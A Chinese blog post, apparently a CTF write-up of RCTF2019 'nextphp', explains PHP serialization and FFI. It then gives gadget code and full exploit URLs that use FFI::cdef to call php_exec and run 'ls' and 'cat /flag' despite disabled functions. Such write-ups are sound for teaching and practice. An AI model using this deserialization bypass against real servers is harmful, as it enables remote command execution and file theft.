关于序列化与FFI的一道题

序列化与FFI(Foreign Function Interface)

做了一道关于序列化与FFI的web题,在这里记录一下。
题是RCTF2019nextphp
在这里插入图片描述
题目信息非常简单,我们先随意传一个参数看看。
在这里插入图片描述
在错误信息中,我们发现了一个目录,但是我们不清楚哪些函数可以用,我们查看一下phpinfo
在这里插入图片描述
许多系统函数被禁用了,但是scandir没有被禁用。
在这里插入图片描述
这里有一个有用的信息,“preload.php”,所以我们尝试打开它。
在这里插入图片描述

这里可以发现serialize,是序列化。
什么是序列化?

  • 序列化就是把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式。

什么是反序列化?

  • 顾名思义,它是序列化的逆过程,把序列化的数据,转换成我们需要的格式。

我们生成一个对象进行测试。

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize() {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize () {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        
    }

    public function __construct () {
        
    }
}
$a = new A();
$b =serialize($a);
echo $b;
C:1:"A":61:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";s:1:"1";}}

将结果传参。

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:61:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:7:%22print_r%22;s:3:%22arg%22;s:1:%221%22;}}%27)-%3E__get(%22ret%22));

在这里插入图片描述
打印出来是1bool(true)
但这道题因为函数禁用的关系,需要用到FFI接口
什么是FFI

  • FFI是php7.4的全新拓展方式,就是在php代码中调用C代码的技术,可以让我们很轻易的调用C写的各种库;

将程序改写如下

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int php_exec(int type,char* cmd);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize() {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize () {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        
    }

    public function __construct () {
       
    }
}
$a = new A();
$b=serialize($a);
echo $b;
?>

运行结果

C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int php_exec(int type,char* cmd);";}}

传参带入。

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27ls%27));

在这里插入图片描述
继续查找,在根目录发现了这个

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27ls%20/%27));

在这里插入图片描述

http://210.30.97.133:28073/?a=echo(unserialize(%27C:1:%22A%22:96:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:33:%22int%20php_exec(int%20type,char*%20cmd);%22;}}%27)-%3E__get(%22ret%22)-%3Ephp_exec(1,%27cat%20/flag%27));

最终得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值